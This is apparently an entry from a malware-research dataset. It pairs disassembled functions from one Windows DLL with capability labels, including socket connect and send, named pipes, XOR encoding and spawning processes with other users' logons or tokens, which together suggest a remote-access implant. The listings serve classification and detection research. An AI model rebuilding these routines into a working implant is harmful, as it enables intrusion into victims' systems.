joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002b61
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
cmp dword [0x1003a610], 1
je 0x10002bee
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jge 0x10002b96
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 1
call fcn.10015fae
push 0x14
pop edx
mov dword [0x1003a610], 1
call fcn.1000ad28
push 0x13
pop edx
mov dword [0x1003a614], eax
call fcn.1000ad28
push 0x3d
pop edx
mov dword [0x1003a618], eax
call fcn.1000ad3f
push 0x3e
pop edx
mov dword [0x1003e33c], eax
call fcn.1000ad3f
push 0x3f
pop edx
mov dword [0x1003e330], eax
call fcn.1000ad3f
push 0x42
pop edx
mov dword [0x1003e334], eax
call fcn.1000ad3f
mov dword [0x1003e338], eax
leave
ret

Function at 0x10002c9c
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
cmp esi, 0x3ff
jg 0x10002cd5
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x400]
push eax
call fcn.10016100
add esp, 0xc
lea eax, [ebp - 0x400]
push eax
mov byte [ebp + esi - 0x400], 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
leave
ret

Function at 0x10002fbd
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push esi
push edi
push 0x44
pop edi
push edi
xor esi, esi
lea eax, [ebp - 0x70]
push esi
push eax
call fcn.1001d4c0
mov dword [ebp - 0x70], edi
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x100000
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], 0xc
mov dword [ebp - 0xc], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor eax, eax
mov word [ebp - 0x40], ax
mov eax, dword [ebp - 4]
push esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
push 0x10
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x70]
push eax
push dword [ebp + 0xc]
mov dword [ebp - 0x44], 0x101
push dword [ebp + 8]
mov dword [ebp - 0x38], esi
call fcn.1000817b
add esp, 0x18
test eax, eax
je 0x10003074
push 0x2710
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
lea esi, [ebp - 0x24]
push dword [ebp - 8]
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10005d75
add esp, 0x18
pop edi
pop esi
leave
ret
Function at 0x10003177
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, 0x400
push esi
call fcn.100158cd
mov ebx, eax
pop ecx
test ebx, ebx
je 0x10003215
push dword [ebp + 0xc]
lea eax, [ebp - 0x14]
push dword [ebp + 8]
push eax
call fcn.10006fc7
add esp, 0xc
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.100070f2
pop ecx
pop ecx
test eax, eax
jne 0x100031bf
push ebx
call fcn.100157f0
jmp 0x10003214
push dword [ebp + 0x10]
push ebx
call fcn.100162e8
mov esi, eax
pop ecx
pop ecx
cmp esi, 0xffffffff
je 0x100031fe
test esi, esi
je 0x100031fe
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.10007095
add esp, 4
push eax
push 1
lea eax, [ebp - 0x14]
call fcn.100070a0
push eax
call fcn.10016461
push esi
call fcn.1001655a
add esp, 0x14
jmp 0x100031b7
push ebx
call fcn.100157f0
pop ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 8
call fcn.10002442
pop ecx
pop ecx
pop esi
pop ebx
leave
ret

Function at 0x10003293
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x100032b1
or eax, 0xffffffff
jmp 0x10003300
push dword [ebp + 8]
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x100032ac
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0xc]
push eax
call fcn.1001c2d0
add esp, 0xc
push 2
pop eax
push dword [ebp + 0xc]
mov word [ebp - 0x10], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0xe], ax
push 0x10
lea eax, [ebp - 0x10]
push eax
push esi
call sub.WS2_32.dll_connect
test eax, eax
je 0x100032fe
push esi
call sub.WS2_32.dll_closesocket
jmp 0x100032ac
mov eax, esi
pop esi
leave
ret

Function at 0x10003303
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
or ebx, 0xffffffff
call esi
push dword [ebp + 0xc]
mov edi, eax
push dword [ebp + 8]
lea eax, [ebp - 0x20]
push eax
add edi, 0xea60
call fcn.10006fc7
lea eax, [ebp - 0x20]
add esp, 0xc
push eax
call fcn.10007136
mov dword [ebp - 8], eax
pop ecx
lea eax, [ebp - 0x20]
push eax
call fcn.10006fe0
mov dword [ebp - 4], eax
pop ecx
lea eax, [ebp - 0x20]
call fcn.100070a0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push eax
call fcn.10007095
add esp, 4
mov dword [ebp - 0xc], eax
call fcn.10002b61
jmp 0x1000338b
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.10003293
mov ebx, eax
pop ecx
pop ecx
cmp ebx, 0xffffffff
jne 0x100033af
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, edi
jb 0x1000336c
push 0x46
call fcn.100024a0
pop ecx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call sub.WS2_32.dll_closesocket
pop edi
pop esi
pop ebx
leave
ret
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push ebx
call sub.WS2_32.dll_send
jmp 0x10003399
Function at 0x100033bf
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
and dword [ebp - 0xc], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
push dword [ebp + 0xc]
mov esi, eax
push dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
add esi, 0xea60
call fcn.10006fc7
add esp, 0xc
lea eax, [ebp - 0x24]
push 0x80
push eax
lea ebx, [ebp - 0xa8]
call fcn.100070f2
lea eax, [ebp - 0x24]
call fcn.100070a0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x24]
push eax
call fcn.10007095
add esp, 0xc
mov dword [ebp - 8], eax
xor ebx, ebx
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 4]
call fcn.1000615a
pop ecx
test eax, eax
jne 0x10003474
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
je 0x10003457
call edi
cmp eax, esi
jae 0x10003457
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jb 0x10003421
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0xa8]
push eax
push 0x32
call fcn.10002470
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
call edi
cmp dword [ebp - 8], 0
jbe 0x100034c5
mov ebx, 0x2000
mov eax, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
sub eax, esi
cmp eax, ebx
jbe 0x100034a4
mov eax, ebx
push 0
lea ecx, [ebp - 0x10]
push ecx
push eax
mov eax, dword [ebp - 0x14]
add eax, esi
push eax
push dword [ebp - 4]
call edi
test eax, eax
je 0x100034c5
add esi, dword [ebp - 0x10]
mov dword [ebp - 0xc], esi
cmp esi, dword [ebp - 8]
jb 0x10003496
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000346f

Function at 0x10003801
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
cmp esi, 0x100
push ebx
jge 0x10003876
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.1001c2d0
or dword [0x100361a0], 0xffffffff
or dword [0x1003406c], 0xffffffff
or dword [0x100361a4], 0xffffffff
add esp, 0xc
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push 2
push 4
push 3
lea eax, [ebp - 0x104]
push eax
mov byte [ebp + esi - 0x104], bl
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [0x1003406c], eax
cmp eax, ebx
je 0x10003876
push ebx
push 0x10003697
call fcn.1000b5cd
pop ecx
pop ecx
mov dword [0x100361a4], eax
pop ebx
leave
ret
Function at 0x10003b2e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea ebx, [edi + 4]
push esi
mov esi, eax
mov dword [ebp - 4], esi
mov dword [ebp - 8], ebx
cmp ebx, dword [ebp + 0xc]
jbe 0x10003b49
xor eax, eax
jmp 0x10003b81
call fcn.10002ce0
mov dword [esi], eax
add esi, 4
xor ecx, ecx
test edi, edi
jbe 0x10003b7f
mov eax, dword [ebp + 8]
sub eax, esi
mov dword [ebp + 0xc], eax
mov ebx, dword [ebp - 4]
mov edx, ecx
and edx, 3
mov dl, byte [edx + ebx]
mov ebx, dword [ebp + 0xc]
lea eax, [ecx + esi]
xor dl, byte [ebx + eax]
inc ecx
mov byte [eax], dl
cmp ecx, edi
jb 0x10003b61
mov ebx, dword [ebp - 8]
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x10003b85
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, eax
lea eax, [edi - 4]
mov esi, ecx
cmp eax, dword [ebp + 0xc]
jbe 0x10003b9a
xor eax, eax
jmp 0x10003bc5
mov eax, esi
add esi, 4
sub edi, 4
push 0
pop edx
je 0x10003bc3
sub esi, dword [ebp + 8]
push ebx
mov ecx, dword [ebp + 8]
mov ebx, edx
and ebx, 3
mov bl, byte [ebx + eax]
add ecx, edx
xor bl, byte [esi + ecx]
inc edx
mov byte [ecx], bl
cmp edx, edi
jb 0x10003bab
pop ebx
mov eax, edi
pop edi
pop esi
pop ebp
ret

Function at 0x10003d12
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push esi
push edi
push dword [ebx + 0xc]
push dword [ebx + 8]
push dword [ebp + 0xc]
push 0
push dword [ebx + 0x10]
push dword [ebp + 8]
push 0
push 2
push dword [0x1003aeb0]
push dword [0x1003aea8]
push dword [0x1003aeac]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x10003d56
xor eax, eax
inc eax
jmp 0x10003e1b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
jne 0x10003e06
mov edx, dword [ebx]
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003d6c
sub eax, esi
mov edi, 0x100
cmp eax, edi
jae 0x10003e06
push str.sysnative
push edx
call fcn.100159a0
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x10003e06
push edi
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.1001d4c0
mov eax, dword [str.system32]
mov dword [esi], eax
mov eax, dword [0x1002e5a4]
mov dword [esi + 4], eax
add esp, 0xc
add esi, 9
mov eax, esi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003dbe
sub eax, edi
push eax
lea eax, [ebp - 0x100]
push esi
push eax
call fcn.1001c2d0
lea eax, [ebp - 0x100]
add esp, 0xc
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003de1
sub eax, edi
inc eax
push eax
lea eax, [ebp - 0x100]
push eax
dec esi
push esi
call fcn.1001c2d0
add esp, 0xc
push ebx
call fcn.10003e1f
pop ecx
jmp 0x10003e1b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebx]
push 0x45
call fcn.10002470
add esp, 0xc
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x10003e1f
Capabilities:
Create process on windows
Create process suspended
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1104
call fcn.1001d2e0
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x7fe
push esi
mov word [esp + 0x114], ax
xor ebx, ebx
lea eax, [esp + 0x116]
push ebx
push eax
call fcn.1001d4c0
add esp, 0xc
xor eax, eax
push esi
mov word [esp + 0x914], ax
lea eax, [esp + 0x916]
push ebx
push eax
call fcn.1001d4c0
mov edi, dword [ebp + 8]
mov eax, dword [edi + 8]
add esp, 0xc
mov dword [eax + 8], ebx
mov esi, 0x400
push esi
lea eax, [esp + 0x114]
push eax
push dword [edi]
mov dword [esp + 0x18], ebx
call fcn.10002e99
add esp, 0xc
test eax, eax
jne 0x10003eab
push dword [edi + 4]
push 7
call fcn.10002442
pop ecx
pop ecx
jmp 0x10004018
push ebx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
call ebx
cmp eax, esi
jae 0x10003ecf
lea eax, [esp + 0x910]
push eax
push esi
call ebx
lea eax, [esp + 0x910]
mov dword [esp + 0xc], eax
push dword [edi + 0xc]
lea eax, [esp + 0x114]
push dword [edi + 8]
push dword [esp + 0x14]
push 0
push dword [edi + 0x10]
push eax
push 0
push 2
push dword [0x1003aea4]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
je 0x10003f02
xor eax, eax
inc eax
jmp 0x1000401a
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
mov ebx, dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
cmp eax, 0x522
jne 0x10003f3e
test ebx, ebx
je 0x10003f3e
cmp dword [0x1003aeb8], 1
jne 0x10003f3e
push dword [esp + 0xc]
lea eax, [esp + 0x114]
push eax
mov ebx, edi
call fcn.10003d12
pop ecx
pop ecx
jmp 0x1000401a
call esi
cmp eax, 0x57
jne 0x10003f5d
mov eax, dword [edi + 8]
cmp dword [eax], 0x48
jne 0x10003f5d
test ebx, ebx
je 0x10003f5d
call esi
push eax
push dword [edi]
push 0x4a
jmp 0x10004010
call esi
cmp eax, 3
jne 0x10004009
mov edx, dword [edi]
mov eax, edx
lea ecx, [eax + 1]
mov bl, byte [eax]
inc eax
test bl, bl
jne 0x10003f6f
sub eax, ecx
mov ebx, 0x100
cmp eax, ebx
jae 0x10004009
push str.sysnative
push edx
call fcn.100159a0
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x10004003
push ebx
lea eax, [esp + 0x14]
push 0
push eax
call fcn.1001d4c0
mov eax, dword [str.system32]
mov dword [esi], eax
mov eax, dword [0x1002e5a4]
mov dword [esi + 4], eax
add esp, 0xc
add esi, 9
mov eax, esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10003fbf
sub eax, ecx
push eax
lea eax, [esp + 0x14]
push esi
push eax
call fcn.1001c2d0
lea eax, [esp + 0x1c]
add esp, 0xc
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10003fde
sub eax, ecx
inc eax
push eax
lea eax, [esp + 0x14]
push eax
dec esi
push esi
call fcn.1001c2d0
add esp, 0xc
push edi
call fcn.10003e1f
jmp 0x10003f38
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
push dword [edi]
push 0x29
call fcn.10002470
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004021
Capabilities:
Create process on windows

Disassembly:
push ecx
mov eax, dword [0x1003aea4]
push ebx
push edi
xor edi, edi
cmp eax, edi
je 0x10004084
cmp dword [esi + 0x14], edi
jne 0x10004084
push dword [esi + 0xc]
push dword [esi + 8]
push edi
push edi
push dword [esi + 0x10]
push 1
push edi
push edi
push dword [esi]
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x100040ad
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0x522
jne 0x10004071
cmp dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW], edi
je 0x10004071
push esi
call fcn.10003e1f
pop ecx
jmp 0x100040b0
call ebx
push eax
push dword [esi]
push 0x29
call fcn.10002470
add esp, 0xc
xor eax, eax
jmp 0x100040b0
push dword [esi + 0xc]
push dword [esi + 8]
push edi
push edi
push dword [esi + 0x10]
push 1
push edi
push edi
push dword [esi]
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x100040ad
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [esi]
push 0x30
jmp 0x10004078
xor eax, eax
inc eax
pop edi
pop ebx
pop ecx
ret

Function at 0x100040b4
Capabilities:
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 0x10], 4
push edi
jne 0x10004114
mov ebx, dword [esi]
lea edi, [ebp - 0xc]
call fcn.1000124c
test eax, eax
je 0x10004114
mov eax, dword [ebp - 0xc]
or dword [esi + 0x10], 4
mov dword [esi], eax
call fcn.10004021
mov ebx, eax
mov eax, edi
mov edi, esi
mov esi, dword [edi + 0xc]
push eax
call fcn.10003bc9
test eax, eax
mov eax, dword [edi + 0xc]
pop ecx
jne 0x10004107
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
jmp 0x10004119
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, ebx
jmp 0x10004119
call fcn.10004021
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000411e
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
and dword [ebp - 0x18], 0
push ebx
push esi
push edi
push 0xa000
call fcn.10006f4c
pop ecx
mov edi, eax
mov ebx, 0x4000
push ebx
push edi
mov dword [ebp - 0x1c], edi
call fcn.1000704e
mov esi, 0x400
push esi
push edi
mov dword [ebp - 8], eax
call fcn.1000704e
push esi
push edi
mov dword [ebp - 0x10], eax
call fcn.1000704e
push esi
push edi
mov dword [ebp - 0x14], eax
call fcn.1000704e
push esi
push edi
mov dword [ebp - 0xc], eax
call fcn.1000704e
push 0x44
pop edi
push edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x68]
push 0
push eax
call fcn.1001d4c0
mov dword [ebp - 0x68], edi
mov edi, dword [ebp + 0x1c]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x34
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push ebx
push dword [ebp - 8]
xor edi, edi
push dword [ebp + 0x14]
xor eax, eax
mov dword [ebp - 0x3c], 0x101
mov word [ebp - 0x38], ax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x60], edi
call fcn.10002e99
add esp, 0xc
push esi
push dword [ebp - 0x14]
push dword [ebp + 0xc]
call fcn.10002e99
add esp, 0xc
push esi
push dword [ebp - 0xc]
push dword [ebp + 0x10]
call fcn.10002e99
add esp, 0xc
push esi
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.10002e99
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
add esp, 0xc
push edi
push edi
call ebx
cmp eax, esi
jae 0x1000420f
push dword [ebp - 4]
push esi
call ebx
mov eax, dword [ebp - 4]
jmp 0x10004212
mov eax, dword [ebp - 0x18]
push dword [ebp + 0x1c]
lea ecx, [ebp - 0x68]
push ecx
push eax
mov eax, dword [ebp + 0x18]
push edi
or eax, 0x8000400
push eax
push dword [ebp - 8]
push edi
push 1
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x10004242
xor edi, edi
inc edi
jmp 0x10004261
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x14]
push str._s_as__s_s:__d
push 0x35
call fcn.100024b5
add esp, 0x18
push dword [ebp - 0x1c]
call fcn.10006f97
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004414
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor edi, edi
mov esi, eax
cmp dword [0x1003a624], edi
jne 0x10004436
push 0x80004
call fcn.100158cd
pop ecx
mov dword [0x1003a624], eax
push dword [esi]
call sub.WS2_32.dll_htonl
mov ecx, dword [0x1003a624]
mov dword [ecx], eax
mov ebx, dword [esi + 4]
cmp ebx, dword [ebp + 8]
jbe 0x10004475
mov ebx, dword [ebp + 8]
jmp 0x10004475
push dword [esi + 8]
mov eax, dword [0x1003a624]
push ebx
lea eax, [eax + edi + 4]
push 1
push eax
call fcn.10016c0c
add esp, 0x10
test eax, eax
je 0x1000447b
add edi, eax
sub ebx, eax
sub dword [esi + 4], eax
test ebx, ebx
ja 0x10004452
jmp 0x1000447f
and dword [esi + 4], 0
push 8
add edi, 4
push edi
push dword [0x1003a624]
call fcn.100012d0
add esp, 0xc
call fcn.1000449d
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10004560
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push dword [ebp + 0xc]
lea eax, [ebp - 0x20]
push dword [ebp + 8]
push eax
call fcn.10006fc7
lea eax, [ebp - 0x10]
push 0x80
push eax
call fcn.10001683
lea eax, [ebp - 0x20]
push eax
call fcn.10006fe0
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.100016d3
add esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push eax
lea eax, [ebp - 0x10]
push 0x1002e5c0
push eax
call fcn.10001726
add esp, 0xc
push 0x16
lea eax, [ebp - 0x10]
call fcn.10001788
push eax
lea eax, [ebp - 0x10]
call fcn.10001785
push eax
call fcn.100012d0
lea eax, [ebp - 0x10]
push eax
call fcn.10001765
add esp, 0x10
leave
ret

Function at 0x100045d8
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and al, 0x10
xor ecx, ecx
cmp al, 0x10
sete cl
mov eax, ecx
pop ebp
ret

Function at 0x100046b9
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x4000
call fcn.10006f4c
pop ecx
mov esi, 0x2000
mov edi, eax
push esi
push edi
call fcn.1000704e
mov ebx, eax
push esi
push edi
mov dword [ebp - 8], ebx
call fcn.1000704e
push dword [ebp + 0xc]
mov dword [ebp - 4], eax
push dword [ebp + 8]
lea eax, [ebp - 0x18]
push eax
call fcn.10006fc7
add esp, 0x1c
lea eax, [ebp - 0x18]
push esi
push eax
call fcn.100070f2
mov ebx, dword [ebp - 4]
lea eax, [ebp - 0x18]
push esi
push eax
call fcn.100070f2
add esp, 0x10
push 0
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x10004736
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xd
call fcn.10002442
pop ecx
pop ecx
push edi
call fcn.10006f97
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004742
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x4000
call fcn.10006f4c
pop ecx
mov esi, 0x2000
mov edi, eax
push esi
push edi
call fcn.1000704e
mov ebx, eax
push esi
push edi
mov dword [ebp - 8], ebx
call fcn.1000704e
push dword [ebp + 0xc]
mov dword [ebp - 4], eax
push dword [ebp + 8]
lea eax, [ebp - 0x18]
push eax
call fcn.10006fc7
add esp, 0x1c
lea eax, [ebp - 0x18]
push esi
push eax
call fcn.100070f2
mov ebx, dword [ebp - 4]
lea eax, [ebp - 0x18]
push esi
push eax
call fcn.100070f2
add esp, 0x10
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x100047bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xe
call fcn.10002442
pop ecx
pop ecx
push edi
call fcn.10006f97
pop ecx
pop edi
pop esi
pop ebx
leave
ret